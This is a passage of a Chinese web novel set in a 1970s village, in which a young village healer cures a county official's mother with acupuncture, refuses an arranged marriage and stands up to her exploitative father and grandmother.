东屋里,姜老太正躺在炕上哼哼,听到外面震天的动静,挣扎着扒着窗户缝往外看。 她亲眼看见了那个只有在公社开大会时才能见到的吉普车,看见了那个穿着干部装,戴着金丝边眼镜的城里人。 那个城里人,在全村人敬畏的目光中,穿过人群,径直走到了姜芷面前。 赵秀娥吓得手足无措,下意识想把女儿往身后拉。 姜芷轻轻拍了拍母亲的手背,示意她安心。 秘书小李看着眼前的少女,心里也是一阵嘀咕。 太年轻了。 也太镇定了。 但他不敢有丝毫怠慢,微微躬身,态度放得极低。 “姜芷同志,我是县革委会周主任的秘书小李。” “周主任派我来,恳请您去县里一趟,救救周老太太!” 恳请! 是恳请! 这两个字,在所有围观村民的脑子里炸开! 芷丫头的面子也太大了! “什么病症?” 姜芷问。 小李不敢隐瞒,连忙将老太太的病情和在县医院屡治无效的情况,竹筒倒豆地说了一遍。 听完,姜芷没什么表情,只是点了点头。 “知道了。” 她转过身,对身旁早已呆若木鸡的赵秀娥轻声说:“娘,我去去就回,你把院子里的药材收一下,晚上我回来处理。” 交代完家事,她回屋收拾了一些东西,拿上自己那个半旧的布包,才重新看向小李。 “走吧。” 随后,就在一片震撼的目光中,走向那辆绿色的吉普车。 “砰。” 车门关上。 这一刻,扒在窗户缝上的姜老太,整个人软软地瘫了下去。 她看着被众星捧月围在中间的孙女,坐上了那辆自己这辈子连摸一下都是奢望的吉普车。 脑子“嗡”的一声,彻底空白。 不该是这样的! 那个逆来顺受的受气包,那个她随时可以打骂的赔钱货,怎么会……怎么会变成现在这个样子? 连县里的大官,都要用“恳请”两个字来求她! 早知道这个孙女是头金凤凰,当初就该把她当亲奶奶一样供起来! 现在,说什么都晚了! 肠子都悔青了! 吉普车扬起一阵尘土,在全村人敬畏的目送中,一路颠簸,朝着县城的方向,绝尘而去。 第16章 这一针,叫你心服口服 姜芷坐在颠簸的吉普车里,目光掠过窗外飞速倒退的景象。 街道两旁,是清一色的土坯墙,上面用白石灰刷着鲜红的标语。 “农业学大寨!工业学大庆!” 几个穿着蓝灰的确良衣裳的干部骑着“永久”牌自行车,清脆的铃声响了一路。 供销社门口排着长队,人们手里攥着布票和粮票,脸上是麻木又带着点期盼的神情。 国营饭店的烟囱正冒着滚滚白烟,空气中飘散着独属于这个年代的,混杂着煤烟与粗粮的朴素气息。 这就是七十年代的县城。 落后却鲜活。 车子最终在县革委会家属院的一栋二层小楼前停稳。 姜芷跟着秘书走进屋子,一股浓烈刺鼻的药膏味便扑面而来,让她蹙了蹙眉。 客厅里,一个穿着崭新白大褂的年轻男人早已等候多时。 王建国双手插在口袋里,上下打量这个从乡下来的“小神医”。 瘦小,干瘪。 怎么看,都像个营养不良的黄毛丫头,能有什么本事? 姜芷的目光没在他身上停留半秒,径直走到了病床前。 床上的老太太,痛苦呻吟,整条胳膊抓得血肉模糊,皮肤红肿溃烂,黄色脓水渗出,触目惊心。 姜芷没有诊脉。 她只看了一眼老太太的皮肤,又凑近了些,闻了闻空气中那股混杂的药味。 一望,一闻,心如明镜。 “湿疹。” 她淡淡开口。 “本来只是小毛病。” “但长期错用虎狼之药,以毒攻邪,却不知病根在内,药毒攻心,损伤了皮肉肌理,才会糜烂至此。” “虎狼之药?!” 王建国当场就炸了! 这不就是在指着鼻子骂他吗! “小同志,饭可以乱吃,话可不能乱说!” “我给周阿姨用的,都是从国外进口的特效药膏,有科学依据的!怎么到你嘴里,就成了害人的虎狼之药?!” 姜芷回头看他。 “再好的药,用错了症候,就是穿肠的毒药。” “老太太病根在于体内湿热郁结,不得宣发。你却只知在皮表涂抹压制,如同治水,只知堵,不知疏。” “洪水被堵,无路可去,自然会冲毁堤坝,反噬身体。” 王建国被她这番话说得有点懵,一时间不知道该如何反驳。 周主任也听得半懂不懂,但看姜芷成竹在胸的模样,心里燃起了希望。 “那……姜同志,我母亲这病,还有救吗?” “有。” 姜芷转身,从布包里拿出那套银针。 “病根在内,当以汤药清热利湿,驱内邪。” “病症在外,当以草药外敷,拔毒生肌。” “内外同治,就能根除。” 她顿了顿,又补充了一句最关键的。 “但汤药见效慢,老太太瘙痒难耐,等不了。” “我先用针灸截断痒意,为后续治疗争取时机。” 针灸! 听到这两个字,王建国彻底失态了! “不行!我坚决反对!” 他猛地往前一步,张开双手拦着。 “针灸?你知道那上面有多少看不见的细菌吗?老太太的皮肤已经溃烂,这和直接把细菌往伤口里送有什么区别?!” “还有你说的什么汤药,成分不明,剂量不清!这完全是伪科学!” “周主任,你可要想清楚!这绝不是开玩笑,这是人命关天的大事!万一出了医疗事故,谁来负责?!” 这话一说,周主任和他爱人脸上的希望又黯淡下去。 是啊。 一个是县医院重点培养的西医高材生,说得头头是道,有理有据。 另一个,只是个从乡下来的赤脚医生,年纪轻轻,拿着几根银针,看着就瘆人。 “王医生说得对……”周主任的爱人拉了拉丈夫的衣角,“要不……要不还是算了吧……” 周主任的心,乱成了一锅粥。 就在他即将动摇时,姜芷看着王建国,开始反驳。 “西医讲细菌,中医讲邪气。” “王医生是吧,你只看到针尖可能带菌,却看不到针刺穴位,能调动人体自身正气,祛除内邪。” “老太太的病,拖不起了。” “再用你的药膏涂下去,湿毒内陷,由皮入脏,到时候就不是痒,是要命了。” “你!” 王建国被这句“要命了”刺激得脸色铁青,浑身发抖。 “你什么你?”姜芷抬头,直视着他。 “你敢不敢赌?” “赌什么?” “就赌我这一针下去,老太太的痒,是停了,还是更重了。” “如果停了,你闭嘴,看着我治。” “如果更重了,我立刻走人,后续有任何问题,我姜芷一力承担,绝不连累你半分!” 这番话,掷地有声! 王建国被她这股气势震得一愣。 周主任猛一拍大腿! “好!” “就这么办!” 他豁出去了,转头看向王建国,“王医生,我娘都这样了,死马当活马医!出了任何事,我周某人担着,跟你,跟姜同志,和医院都没有半点关系!” 话说到这个份上,王建国再阻拦,就成了不知好歹。 他只能黑着脸,往后退了一步,双臂抱在胸前,摆出一副“我看你怎么收场”的架势。 姜芷不再多言。 她捻起一根三寸长的银针,在酒精灯上燎烤消毒。 然后,她走到床边,对老太太柔声说:“阿姨,别怕,很快就不痒了。” 话音未落,她眼神陡然一凝! 手腕微动,银针已经刺入了老太太手臂上的曲池穴! “啊!” 老太太下意识地惊呼,但没有痛苦,反而带着一丝酸麻和舒畅。 紧接着,合谷、血海、三阴交…… 姜芷的手法行云流水,让人眼花缭乱。 不过短短一分钟,十几根银针已经稳稳地扎在了老太太的四肢上。 王建国在旁边看得心惊肉跳,嘴巴张了又张,最终没敢出声。 所有人的目光,都盯着老太太。 一秒。 两秒。 十秒。 奇迹,就这么发生了。 原本还在床上辗转反侧,不住呻吟的老太太,身体扭动的幅度,渐渐小了。 脸上的痛苦神情,慢慢舒展开来。 最后,她长长地舒了一口气。 “不……不痒了……” “真的……真的不痒了……” 说完这句话,她眼皮一沉,竟然就这么睡了过去。 想来是已经有一段日子没睡好觉了。 “……” 王建国脸上的表情,彻底凝固。 这……这怎么可能?! 这不科学! 完全违背了他学了这么多年的医学理论! 第17章 嘴硬好学王医生 周主任和他爱人激动得热泪盈眶,他们冲到床边,看着老太太安详的睡颜,又回头看看姜芷,简直像在看活菩萨! 周主任二话不说,对着姜芷,深深地鞠了一躬。 “姜同志!你……你就是我母亲的救命恩人啊!” 姜芷受了他这一礼,神色依旧平静。 “只是暂时止痒,病根还在。” 她走到桌边,提笔刷刷点点,很快写好一个方子,递给周主任。 “按这个方子抓药,内服。另外,再准备金银花、蒲公英、马齿苋,熬水,每天给老太太擦洗身体。” “好好好!” 周主任连忙接过药方,满脸热切。 “姜同志,您就是我们全家的大恩人!今晚无论如何得在家里住下,我这就让爱人给您收拾最好的房间!” 姜芷摇了摇头。 “周主任客气了,我娘一个人在家,我不放心。” “明天我再来复诊就是。” 一句话,就让周主任夫妇肃然起敬。 医术高明,还不慕富贵,心心念念着家里的母亲,这是何等的品行! 周主任当即对秘书小李下达死命令:“小李!听见了吗?务必把姜同志安安全全送回家!明天准时去接!不得有半点差池!” 王建国看着这一幕,满脸不是滋味。 他紧紧攥着拳头。 不可能…… 这一定是巧合! 是那些土方子暂时压制住了症状! 等这股劲儿过去,肯定会变本加厉地复发! 他就不信,这套封建迷信的东西,能比得上他学的先进科学! …… 吉普车在夜色中颠簸,秘书小李紧握着方向盘,激动的心情还没平复。 “姜同志,您真是太神了!我们周主任是县里出了名的大孝子,您救了老太太,就等于是救了他半条命啊!” 姜芷看着窗外飞速倒退的夜景,淡淡道:“医生的本分而已。” 车子最终在无数双好奇眼睛的注视下,稳稳停在了姜家大院门口。 天色已经彻底黑透了。 车门一开,一个瘦弱的身影就扑了过来。 赵秀娥一把抓住女儿的手,上下打量着。 “芷儿,你可算回来了!娘担心死了!” “下午你一走,村里有人就说你要是治不好县里大官的病,是要被抓起来吃牢饭的!” 姜芷反手握住母亲的手。 “娘,没事了,都解决了。” 赵秀娥还想再问,从车上下来的小李已经笑着开口了。 “婶子您就放一百个心吧!姜同志医术通神,周老太太的病已经大好了!周主任特意嘱咐我,明天再来接姜同志去复诊呢!” 这话一出,赵秀娥悬着的心,才算彻底落回了肚子里。 姜芷跟小李约好明天的时间,正准备扶着母亲回屋。 一转身,就看见两个满身疲惫,散发着酸臭味的人影,从院门外挪了进来。 正是刚从猪圈和地里回来的王桂香和姜巧巧。 姜巧巧浑身脏污,满脸怨毒和不甘。 她死死盯着姜芷,盯着她干净的衣裳。 “姜芷,你别得意!” “坐着吉普车就了不起了?风水轮流转,总有一天,我要让你跪在我面前求我!” 姜芷闻言,非但没生气,反而轻笑了一声。 她转过头,上下打量了一下姜巧巧,慢悠悠地开口。 “哦?看来一个月的猪圈还是太短了,没让你长记性。” “要不,我明儿去县里的时候,顺便跟陈支书提一提,给你加到过年怎么样?” “让你好好在猪圈里,反省反省人生。” “你敢!” 姜巧巧瞬间炸毛! 姜芷白她一眼,懒得再搭理。 她挽住赵秀娥的胳膊,转身回了自己那间小屋。 姜巧巧还想再骂,却被王桂香一把死死拉住。 “巧儿,算了!忍一时风平浪静!万一她真去找支书说了,那你这辈子就完了!先让她蹦跶,君子报仇,十年不晚!” 话是这么说,但王桂香心里怕的是,姜巧巧这个蠢货,再把她给牵连进去! 第二天一早,小李的吉普车准时等在姜家老宅门口,姜芷收拾完毕后,又叮嘱了赵秀娥几句,这几天把药材晒干收好就行,等她忙完再处理。 随后坐上吉普车来到家属院。 姜芷来的时候,王建国已经早早地在周家候着,满脸不服气,想看看姜芷今天又玩些什么花样。 姜芷为老太太施完针,便指导周主任的爱人,将捣烂的金银花和蒲公英煮水,用温热的药汁为老太太擦拭身体。 那股清苦的草药香,压过了满屋子刺鼻的药膏味。 原本烦躁不安的老太太,在药汁的浸润下,发出了一阵阵舒服的喟叹。 王建国在屋外听着,眼皮直跳,嘴硬地嘀咕:“心理作用,肯定是心理作用……” 第三天,当姜芷再次来到周家时,王建国站的位置,离病床近了一步。 因为,周老太太溃烂的皮肤,那些恐怖的红肿,肉眼可见地消退了! 原本渗着黄水的地方,开始变得干爽。 老太太甚至能坐起来,喝了小半碗米粥。 王建国这下彻底坐不住,产生了自我怀疑。 看着姜芷收起银针,那从容的动作,不像在治病,倒像是在刺绣。 不到三天。 他断定无法根治的皮肤顽疾,竟被几根银针和几把草药轻松治愈? 这完全颠覆了他的医学认知! 王建国做了一番心里建设,最终还是忍不住,走到姜芷面前。 在周主任夫妇惊讶的目光中,对着姜芷郑重地鞠了一躬。 “姜医生。” “对不起,是我目光短浅,为我之前的无知和傲慢,向您道歉。” 姜芷瞥了他一眼,早有预料,孺子可教也。 王建国见她不语,心里跟猫爪挠痒痒似的,求知欲爆棚,主动求教。 “姜医生…” “你说的那个‘湿热’,它……它到底是个什么东西?是哪一种细菌?还是病毒的变种?” “都不是。” 姜芷淡淡开口。 “天有六气,人有七情。湿与热,本是天地间的自然之气,但郁结于体内,无法宣泄,便成了致病的邪气。” 王建国听得云里雾里,但还是刷刷刷地在小本本上记了下来。 到了第四天,王建国直接搬了个小马扎,坐在了姜芷旁边,活像个求知若渴的小学生。 周老太太已经能下地走动了! 她身上的皮肤虽然还有些发红的印子,但大部分地方都已经结痂,不再瘙痒,整个人精神矍铄,跟换了个人似的! “姜医生!” 王建国彻底放下了骄傲,满眼狂热。 “你那个针灸,为什么扎在胳膊上的‘曲池穴’,老太太全身的痒都能止住?这不符合神经传导的原理啊!” 姜芷正在收拾自己的布包,抬头问他。 “经络,你看得见吗?” 王建国摇头:“看不见。” “但它存在。” 姜芷说完,便不再理他,留下王建国一个人坐在小马扎上,呆若木鸡,陷入了深深的思考。 是啊。 空气,看不见,但它存在。 电波,看不见,但它也存在。 凭什么中医的经络,就因为看不见,要被斥为封建迷信? 第18章 在我这可不兴包办婚姻 治疗结束这天,周主任拿出一个厚厚的牛皮纸信封,双手捧着,硬要塞到姜芷手里。 “姜同志!这里是二百块钱,还有五十斤粮票,三十尺布票!这点心意,你无论如何都要收下!” “这不仅是诊金,更是我们全家对你的救命之恩!以后,在咱们县里,不管你遇到任何困难,只要你一句话,我周某人上刀山下火海,一定给你办到!” 姜芷没有推辞。 未来的路还很长,想做的事还很多,离不开这些人脉和资源。 “周主任言重了。”她接过信封,“举手之劳而已。” 这份淡然和从容,让周主任夫妇更是高看一眼。 然而,结束治疗只是开始,真正的影响还在后头。 这几天,整个红星大队,乃至整个公社,都因为这件事炸开了锅。 县革委会周主任的母亲病危,县医院束手无策,最后被红星大队的姜芷丫头给治好了! 赵大山激动得走路都带风,见人就咧着嘴笑,脸上的褶子都能夹死苍蝇。 公社的陈支书跑来大队部,拉着赵大山的手,狠狠赞扬。 “大山啊!芷丫头真是个人才!是我们整个公社的骄傲!” “周主任亲自给我打了电话,说要感谢我们培养了这么好的赤脚医生!当场就批了我们公社十吨化肥,一百升柴油的指标!指名道姓,要多分给你们红星大队!” 十吨化肥!一百升柴油! 这简直就是天降横财! 赵大山高兴得差点当场蹦起来! 这下,全村人看姜芷的眼神,彻底不一样了。 那不是看一个会治病的丫头,那是看能给全村带来实际好处的活财神! 消息传到姜家老宅。 “砰!” 姜老太一巴掌重重拍在炕沿上,那张老脸扭曲得跟发苦的茄子一样。 “十吨化肥!一百升柴油!那得是多少钱啊!凭什么!凭什么都便宜了外人!” 她越想越气,越想越悔! 就连大房院子里扫地的李翠花,听到外面的议论,手里的扫帚都快捏断了,酸溜溜地对自家男人说。 “看看,看看人家三房!不出声不吭气地,就攀上县里的大领导了!以后咱们可得罪不起了!” 二房的周兰,则是一脸庆幸和得意,拉着女儿姜玉梅的手。 “闺女,你看见没?娘的眼光没错吧!让你跟小芷多走动!她现在可是咱们家的贵人!” 角落里,刚从砖窑厂下工回来的姜为民,靠在墙根下,默默地抽着旱烟。 他听着村里村外的议论声,心里五味杂陈。 那个被他抛弃的女儿,如今,已经站到了一个他需要仰望的高度。 尤其砖窑厂的工友说起他生了个好女儿时,他心里更不是滋味。 姜为民好面子,不管姜芷过得多么风光,他都不会像姜老太那样,主动上去要是要喝。 但以后他如果真有什么困难,姜芷作为女儿不可能不管不顾,否则就是不孝! 想到这里,他的心情又稍微好受了一些。 夜,静悄悄的。 姜芷的小屋里,灯火通明。 她将这次的诊金和票据小心收好,然后开始在灯下整理这几天没处理的药材。 门口的光线暗了暗。 一道高大的身影,出现在了那里。 陆向东的伤已经彻底好了,换上了一身干净的军装,身姿挺拔,眉目锐利,恢复了军人的冷硬气质。 “要走了?” 姜芷头也没抬,手上继续分拣着草药,似乎早就料到。 “嗯。” 陆向东走进屋,高大的身躯让这间小屋显得有些逼仄。 “任务有新进展。” “上次在山上遇到的那个‘猎人’王二狗,身份查实了,是一个潜伏特务组织的骨干成员。我必须立刻归队,准备收网。” 姜芷手上的动作顿了顿,有些意外。 没想到,那次看似寻常的偶遇,背后竟藏着这样的凶险。 屋子里陷入了沉默,只有煤油灯的火苗,在轻轻地跳动。 许久,陆向东喉结滚动了一下,往前走了一步,拉近了两人的距离。 “姜芷。” “我们之间的婚约……” 姜芷的心,猛地漏跳了一拍。 她抬头看着他,没有说话,等着他的下文。 陆向东抿了抿唇线,似乎在组织语言,但最终,还是用了最直接的方式开口。 “等我完成了这次任务,就回来。” “娶你!” 掷地有声,不带半分玩笑,是军人式的通知和告白。 姜芷忽然就笑了。 她放下了手里的药材,同样认真地看着他。 “陆向东同志。” “我不讨厌你,甚至觉得你人不错,是个值得信赖的男人。” “但是……” “这和结婚是两码事。” “包办婚姻那一套,在我这里行不通。我的人生,我的婚姻,必须由我自己做主。” “你想娶我,必须是让我发自内心的喜欢上你,而不是靠那套老旧的习俗观念。” “我现在只想带着我娘过好日子,至于嫁人……我还没想过那么远。” 她把话说得很直白。 作为一个有现代灵魂的人,有些话必须说清楚。 含糊不清,既是对自己的不负责,也是对他的一种欺骗。 陆向东沉默地站着,下颌线绷得紧紧的。 被拒绝的滋味,并不好受。 可他看着眼前这个坦荡的姑娘,不但没有失望,反而更喜欢了。 她就该是这样。 清醒,独立,从不依附任何人。 这才是他看上的女人。 “我明白了。” “婚约的事,我尊重你的想法。” “但是,姜芷,我认定的事,不会变。” “我会等你。” “等到你愿意点头的那一天。” 说完,他从上衣口袋里掏出一张折叠得整整齐齐的纸条,放在桌上。 “这是部队的专线电话和我的通讯地址,有任何事,都可以通过这个找到我。” 姜芷低头看了眼,再抬头时,陆向东已经转身,大步走出了小屋。 这个男人…… 还真是个彻头彻尾的行动派。 她摇了摇头,失笑着将纸条小心收好。 未来还长。 谁又说得准呢? 第19章 想占便宜?先算算抚养费! 陆向东走了,红星大队却因为姜芷,彻底沸腾了。 十吨化肥! 一百升柴油! 当公社的拖拉机“突突突”地,把一袋袋印着字的化肥运到大队仓库时。 全村老少爷们都跑出来围观,那场面,比过年分猪肉还热闹! 赵大山背着手,挺着腰杆,在仓库门口来回踱步,脸上的褶子笑成了一朵盛开的老菊花。 “都看好了啊!这可是芷丫头给咱们全村争来的福气!” “今年秋收,家家户户都给我卯足了劲儿干!谁要是偷懒,第一个对不起的就是芷丫头!” “好!” “大队长说得对!” 村民们扯着嗓子叫好 这年头,什么最实在? 粮食! 能让粮食增产的化肥,那就是顶顶好的宝贝! 在他们眼里,姜芷这丫头,早就不止是“小神医”了。 她是能给全村带来好处的活财神! 整个红星大队都沉浸在喜悦中,唯独姜家老宅,气氛压抑得像下雨前的茅房,又闷又臭。 “凭什么!” 姜老太一巴掌拍在炕桌上,震得上面的粗瓷碗跳了一下。 “她姓姜!是我们老姜家的孙女!得了这么天大的好处,居然全便宜了外人!咱们自己家,连根毛都没捞着!” 她越想越气,一口恶气堵在胸口,上不去也下不来,憋得整张老脸都成了酱紫色。 那可是县革委会主任的人情啊! 还有那十吨化肥! 要是能扒拉一袋到自家自留地里,那菜长得还不得跟吹气球似的? 姜为民蹲在门口,一口接一口地抽着旱烟,烟雾缭绕,看不清他的表情。 “为民!” 姜老太猛地看向他。 “你是个死人吗?就不知道吭一声?” “你是她亲爹!她现在有出息了,孝敬你,孝敬我这个奶奶,难道不是天经地义的吗!” “你去!现在就去!” “你去!现在就去!让她把在县里挣的钱和票都拿出来!再不然,就让她去跟赵大山说,给咱们家分两袋化肥!” “我……”姜为民有些犹豫。 “你什么你!” 姜老太抄起枕头,狠狠朝他砸了过去。 “你不去,难道要让我这张老脸亲自去求她吗!你这个当爹的脸面,还要不要了!” “孝道”和“脸面”。 这两个词,精准戳中了姜为民的软肋。 他把烟杆在鞋底上用力磕了磕,熄灭了火星,然后猛地站起身。 “我去就我去!” …… 西边的小院里,一片安宁祥和。 姜芷正坐在小马扎上,耐心地教赵秀娥处理从县里带回来的药材。 经过这段时间的调理和滋养,赵秀娥的气色好了不止一点半点,人也自信开朗了许多,脸上的笑容都多了起来。 “芷儿,你看,这个白芍,我切得匀不匀?” “挺好的,娘,你学得很快。” 母女俩正说着话,院门被人“砰”的一声,从外面粗暴地踹开。 姜为民黑着一张脸,带着一身烟味和泥土味,大步流星地闯了进来。 他身后,还跟着满脸刻薄的姜老太,和眼神里全是嫉妒的李翠花。 “姜芷!” 姜为民一开口,就是一副大家长的命令口吻。 “你奶奶身体不舒服,你作为孙女,是不是该有所表示?” 姜芷抬起眼皮,手上炮制药材的动作没停。 “哦?哪里不舒服?” “是上次装病没装像,心里不舒服?” “还是看着全村都分了化肥,眼红得不舒服?” “你!” 姜为民被她这不咸不淡的话,噎得脸色涨红。 他深吸一口气,强行把话题拉了回来。 “你少在这里胡搅蛮缠!” “你现在出息了,能挣大钱了,也攀上县里的大领导了!但你别忘了,你姓姜!你的根,在这里!” “做人不能忘本!你挣的钱,理应拿出来一部分,孝敬长辈,帮衬家里!” 跟在后面的姜老太立刻帮腔。 “就是!你爹说得对!你吃我们姜家的,喝我们姜家的,现在翅膀硬了就想单飞?告诉你,没门!” “今天,你要么拿钱,要么拿粮!” “不然我就去大队部好好说道说道,让全村人都来看看,你姜芷是怎么当不孝孙女的!” 赵秀娥被这阵仗吓得脸色发白,拉了拉女儿的衣袖。 姜芷轻轻拍了拍她的手背,示意她安心。 然后,她站了起来,拍了拍手上的药渣,走到姜为民面前。 “孝敬?” “行啊。” “你们又来找我算账,我还正想跟你们算算。” 她的目光平静地扫过姜老太,又落到身上姜为民。 “我娘嫁给你,没过过一天舒心日子。” “你往家里寄的钱,我跟我娘,连味儿都没闻着。” “我从小到大,穿的是别人剩下的,吃的是全家最差的。” “现在,你跑来,跟我谈‘孝敬’?” 姜芷往前走了一步,那股气势,竟让姜为民下意识地后退了半步。 “可以。” “咱们今天,就好好算算!” “爹,劳烦你去一趟大队部,把会计的算盘借来,再把赵队长请来,给我们当个公证人。” “咱们就算算,从我五岁记事起,你这个当爹的,欠了我们母女俩多少年的抚养费!” “吃穿用度,医药费,还有...” 她顿了顿,说出一个让在场所有人都陌生的词。 “精神损失费!” “咱们一项一项,白纸黑字,算个清清楚楚!” “等你把欠我的还清了,我再跟你谈,该怎么‘孝敬’你!” “轰——!” 这番话,如一道惊雷,在小院里炸开! 不仅是姜为民,就连姜老太和李翠花都懵了! 抚养费? 精神损失费? 这……这都是些什么闻所未闻的虎狼之词? “你……你放屁!” 姜为民气得浑身发抖,指着姜芷的手都在哆嗦。 “我……我是你老子!我花你的钱,天经地义!你还敢跟我要抚养费?你……你这是要反了天了!” “你是谁老子?” 一直沉默的赵秀娥,突然开口。 她从姜芷身后走出来,直视着让她怕了一辈子的男人。 “姜为民,你摸着良心问问自己,你配当她爹吗?” “芷儿差点被饿死的时候,你在哪?” “王桂香母女俩算计她,要把她嫁给懒汉的时候,你又在哪?” 她的声音越来越大,带着压抑了半生的委屈和愤怒。 “你除了给了她一条命,还给过她什么?” “现在看她出息了,就想来摘桃子?我告诉你,没门!” 赵秀娥上前一步,抬手指向院门。 “滚!” “从我们这个院子里,滚出去!” “以后,别再让我看见你!” 这声“滚”,彻底把姜为民给吼傻了。 他难以置信地看着眼前这个突然变得强硬无比的女人,仿佛第一天认识她。 院子外的争吵,早就引来了一堆看热闹的村民,把整个院门口堵得水泄不通。 里面的对话,他们听得一清二楚,,议论纷纷。 “我的天爷,这姜为民还有脸来要钱?他这些年管过秀娥母女俩死活吗?” “就是啊!我看芷丫头说得对!就该跟他算算抚养费!什么狗屁爹!” “这种爹,不要也罢!秀娥总算硬气了一回!” 听着外面的议论声,姜为民感觉自己的脸皮,被人一层一层地扒了下来,扔在地上,还被全村人踩过来踩过去。 他再也待不下去了,灰溜溜地转身,落荒而逃。 姜老太见势不妙,也想开溜,却被姜芷叫住了。 “奶奶。” 姜老太浑身一僵。 “我跟你说了多少遍?” “你年纪大了,我不想跟你计较。” “但你记住了,安分守己,我逢年过节,该有的孝敬,我一分不会少你的。” “可你,要是再敢作妖……” 她顿了顿,眼神陡然变冷。 “我就带我娘搬去县里住,让你这辈子都别想再见到我们!” 姜老太浑身一颤,到嘴边的咒骂,硬生生咽了回去,噎得她直翻白眼。 她毫不怀疑,这个煞星孙女,绝对说到做到! 最终,姜老太也只能在全村人的指指点点中,拉着李翠花,狼狈地逃回了东屋。 一场闹剧,再次以姜芷的完胜,宣告结束。 夜里。 赵秀娥看着灯下认真整理药材的女儿,眼眶有些湿润。 “芷儿,娘今天……是不是太凶了?” “不凶。” 姜芷头也没抬,唇角却微微上扬。 第20章 目标是深山老林 自从姜为民那场“讨债”闹剧惨淡收场后,姜老太彻底老实了。 她算是看明白了,这个三孙女,根本就是个滚刀肉,软硬不吃,油盐不进。 你跟她横,她比你还横。 这还怎么斗? 于是,姜芷和赵秀娥的日子,迎来了前所未有的宁静与祥和。 这天晚饭,桌上摆着一盘喷香的葱花炒鸡蛋,一碗清炒的野菜,还有白花花的大米饭。 赵秀娥吃着饭,看着灯下眉眼清丽的女儿,心里又踏实又满足。 “芷儿,多吃点鸡蛋。”她给姜芷夹了一筷子。 姜芷吃下鸡蛋,放下筷子,擦了擦嘴。 “娘,秋收也忙得差不多了,上次跟你说过的,我想趁着天气还好,进山一趟。” 赵秀娥脸上的笑容,瞬间凝固。 “不行!绝对不行!” 她一把抓住姜芷的手,“芷儿,你听娘说!那深山老林可不是闹着玩的!里面有狼!有黑瞎子!还有数不清的毒蛇!” “村里最有经验的老猎户,都不敢一个人往里闯!你一个姑娘家,怎么能去冒这个险!” 她真是怕了,好不容易才盼来的好日子,她不能眼睁睁看着女儿去送死。 “娘,你听我说。” 姜芷反手握住母亲的手,耐心地解释。 “我不是去冒险的。后山的药材,都太普通了,治不了大病。真正的好东西,都藏在深山里。” “比如年份久的野山参,能吊命的何首乌,还有传说中的雪莲……这些才是无价之宝。” “我需要它们,不仅是为了救更多的人,也是为了我们以后能活得更好,活得谁也不敢欺负。” 赵秀娥嘴唇哆嗦着,眼泪在眼眶里打转,还是一个劲儿地摇头。 “可那也太危险了……” “我不会一个人去。” 姜芷知道不拿出点实际的,安抚不了母亲。 “我会找村里最好的猎人带路,做好万全的准备。” “而且,娘,你别忘了,我自己就是医生,什么毒蛇草药,我比谁都清楚。” “我保证,一定会平平安安地回来。” 赵秀娥满肚子的反对,最终还是化成了一声长长的叹息。 她知道,这个女儿决定的事,谁也拦不住。 …… 第二天,姜芷直接找到了大队长赵大山。 赵大山正对着一堆工分本子抓耳挠腮,看见姜芷来了,立马放下笔,满脸堆笑。 “芷丫头来了!快坐快坐!是缺什么药材了,还是家里有啥困难?你跟叔说,叔给你解决!” 现在姜芷就是他的心头肉,是全村的宝贝疙瘩。 “赵叔,我是有件事想请您帮忙。”姜芷开门见山。 “你说!”赵大山拍着胸脯。 “我想进深山采药,需要一个熟悉山里情况的向导。” 赵大山脸上的笑容僵住,足足愣了半分钟。 “丫头,你……你没跟叔开玩笑吧?去哪儿?深山?” “嗯。” 赵大山猛地站起来,在屋里来回踱步,脸上的表情比赵秀娥还紧张。 “胡闹!简直是胡闹!那是什么地方!你知不知道每年都有野猪下山祸害庄稼?那深山里的大家伙更多!不行不行,这事儿没得商量!” “赵叔,我的医术您是知道的。”姜芷不急不躁。 “我既然敢提出来,就不是去送死的。” “我需要一个向导,最好的向导。” 她看着赵大山,补充了一句,“报酬,好说。” 赵大山停下脚步,看着姜芷那副胸有成竹的样子,心里开始动摇。 这丫头,从来不做没把握的事。 从治猪开始,到治好他,再到治好县里的大领导,哪一件不是别人觉得不可能,最后却让她给办成了? 他纠结了半天,最终一跺脚。 “行!” “村里最好的猎人,叫李老根,就住村西头。那老小子,打小就在山里混,闭着眼睛都能摸到黑瞎子的老窝。” 赵大山皱起了眉,“不过,他那个脾气……又臭又硬,跟茅坑里的石头一样。” “除了他婆娘,谁的话都不听。村里人请他帮忙,给钱给粮他都不要,你去……怕是悬。” “我去试试。”姜芷站起身。 “多谢赵叔。” …… 村西头,李老根家。 一个皮肤黝黑,身材精瘦,眼神像鹰一样锐利的老汉,正坐在院子里,磨着一把锈迹斑斑的猎刀。 当姜芷说明来意后,李老根连眼皮都没抬一下,继续“唰唰唰”地磨着刀。 “不去。” “老了,跑不动了。” 姜芷也不生气,她就站在院子里,静静地看着他。 看了大概一分钟,她才缓缓开口。 “李叔,你不是跑不动了。” “你是每到阴雨天,左边第三根肋骨的位置,就疼得像针扎一样,不敢大喘气吧?” 李老根磨刀的手,猛地一顿! 他抬起头,第一次正眼看向姜芷。 姜芷继续慢悠悠地说。 “年轻时打猎,从树上摔下来,断了肋骨。虽然接上了,但留下了瘀血,堵住了经脉。” “所以你晚上睡觉,总觉得胸口闷得慌,喉咙里像有东西卡着,时不时就想咳嗽,但又咳不出什么。” “我说得,对不对?” 李老根彻底不磨刀了,直勾勾地盯着姜芷。 这些毛病,跟了他十几年了! 连他婆娘都只知道他偶尔胸口疼,可这个小丫头,怎么会说得一清二楚,一个字都不差! “你……你怎么知道的?”他声音沙哑。 “我是医生。” 姜芷微微一笑,“你带我进山,我负责把你这十几年的老毛病,给你除根。这笔买卖,你做不做?” 屋里,一个满脸愁容的女人走了出来,正是李老根的婆娘。 她刚才在屋里听得真真切切。 “当家的!你快答应啊!这可是小神医啊!” 李老根沉默了。 足足五分钟,他才把手里的猎刀往旁边一放,站起身。 “丫头,你真能治好我?” “我从不说空话。” “好!”李老根一拍大腿,“我带你去!” “不过,我得先说清楚,进了深山,一切都得听我的!让你往东,你不能往西!不然出了事,我可不负责!” “成交。” 姜芷进山的消息,很快传遍了整个红星大队。 “听说了吗?李老根要带芷丫头进深山了!” “我的天!李老根那臭脾气,多少年没带人进山了?芷丫头也太有本事了!” “嗨!你们懂什么!我听我三姑家的二小子说,是芷丫头一眼就看出了李老根的陈年旧伤,说能给他治好!李老根这才答应的!” “神了!真是神了!” 村民们议论纷纷,又是震惊又是佩服。 而大队部猪圈。 正在卖力打扫的姜巧巧听到这个消息,嫉妒得差点把手里的粪瓢给捏碎。 凭什么姜芷那个贱人,想做什么都能做成! 现在连李老根那种怪人都听她的了! 